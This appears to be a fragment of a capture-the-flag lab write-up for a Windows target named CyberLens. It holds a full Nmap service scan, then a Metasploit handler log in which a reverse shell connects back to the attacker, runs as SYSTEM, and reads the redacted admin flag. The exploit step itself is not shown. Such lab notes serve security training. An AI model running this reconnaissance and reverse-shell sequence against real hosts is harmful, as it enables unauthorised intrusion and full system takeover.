# Nmap 7.95 scan initiated Wed Mar 5 23:21:10 2025 as: /usr/lib/nmap/nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.60.132 Increasing send delay for 10.10.60.132 from 0 to 5 due to 1357 out of 3392 dropped probes since last increase. Increasing send delay for 10.10.60.132 from 5 to 10 due to 11 out of 17 dropped probes since last increase. Nmap scan report for cyberlens.thm (10.10.60.132) Host is up (0.13s latency). Not shown: 65519 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.57 ((Win64)) |_http-title: CyberLens: Unveiling the Hidden Matrix | http-methods: | Supported Methods: OPTIONS HEAD GET POST TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.57 (Win64) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2025-03-06T04:35:13+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=CyberLens | Issuer: commonName=CyberLens | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-03-05T04:15:35 | Not valid after: 2025-09-04T04:15:35 | MD5: 4de0:fcc9:680f:b184:29d8:1f45:a0de:2f46 |_SHA-1: e46b:f7ef:437b:fe70:0b37:bace:f6fa:4180:78da:fd3b | rdp-ntlm-info: | Target_Name: CYBERLENS | NetBIOS_Domain_Name: CYBERLENS | NetBIOS_Computer_Name: CYBERLENS | DNS_Domain_Name: CyberLens | DNS_Computer_Name: CyberLens | Product_Version: 10.0.17763 |_ System_Time: 2025-03-06T04:35:05+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC 61777/tcp open http Jetty 8.y.z-SNAPSHOT |_http-server-header: Jetty(8.y.z-SNAPSHOT) | http-methods: | Supported Methods: POST GET PUT OPTIONS HEAD |_ Potentially risky methods: PUT |_http-title: Site doesn't have a title (text/plain). |_http-cors: HEAD GET No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=3/5%OT=80%CT=1%CU=43936%PV=Y%DS=4%DC=T%G=Y%TM=67C92601 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=2%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U OS:)SEQ(SP=103%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR= OS:109%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS= OS:S%TS=U)SEQ(SP=108%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M508NW8N OS:NS%O2=M508NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%O6=M508NNS)WIN(W OS:1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF% OS:O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD OS:=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0% OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 4 hops TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 2.76 ms 10.2.0.1 2 ... 3 4 132.34 ms cyberlens.thm (10.10.60.132)
Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Mar 5 23:35:13 2025 -- 1 IP address (1 host up) scanned in 843.81 seconds
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.2.26.216:4445 [*] Command shell session 1 opened (10.2.26.216:4445 -> 10.10.17.174:49810) at 2025-03-0800:45:41-0500
Shell Banner: Microsoft Windows [Version10.0.17763.1821] -----
C:\Windows\system32>whoami whoami nt authority\system
POWERSHELL
在管理员桌面找到admin flag
1 2 3
C:\Users\Administrator\Desktop>type admin.txt type admin.txt THM{****************}
